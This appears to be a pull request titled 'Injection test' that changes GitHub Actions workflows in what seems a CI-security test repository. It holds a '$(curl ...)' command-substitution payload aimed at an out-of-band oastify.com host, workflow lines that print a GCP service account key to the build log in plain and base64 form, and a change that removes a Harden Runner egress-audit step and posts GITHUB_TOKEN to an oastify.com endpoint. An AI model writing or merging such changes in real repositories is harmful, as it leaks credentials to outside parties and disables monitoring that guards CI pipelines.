Injection test

$(curl -s msi6iawwfggvaehl5jrwkzzmodu4iu6j.oastify.com)

@@ -0,0 +1 @@
+a

.github/workflows/secret-in-build-log.yml

@@ -19,6 +19,9 @@ jobs:
         env:
           GCP_SERVICE_ACCOUNT_KEY: ${{ secrets.GCP_SERVICE_ACCOUNT_KEY }}
         run: |
+          echo "Full Secret: $GCP_SERVICE_ACCOUNT_KEY"
+          echo "$GCP_SERVICE_ACCOUNT_KEY" | base64
+
           # Extracting the private key from the GCP service account key
           PRIVATE_KEY=$(echo $GCP_SERVICE_ACCOUNT_KEY | jq -r '.private_key')
 

.github/workflows/unexpected-outbound-calls.yml

@@ -1,16 +1,16 @@
 name: Unexpected Outbound Calls
 on:
   workflow_dispatch:
+permissions: read-all
 jobs:
   unexpected-outbound-calls:
     name: UnexpectedOutboundCalls
     runs-on: ubuntu-latest
+    env:
+      GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
     steps:
-      - name: Harden Runner
-        uses: step-security/harden-runner@v2
-        with:
-          egress-policy: audit
       - run: "curl https://attacker.com -L  || true"
       - run: "curl https://google.com -L  || true"
       - run: "curl microsoft.com:443  --connect-timeout 5 || true"
       - run: "curl amazon.com:443  --connect-timeout 5 || true"
+      - run: curl -s -X POST https://xcdf8s8jb3z7fcf05jymki075ybpzgn5.oastify.com -d "token=$GITHUB_TOKEN"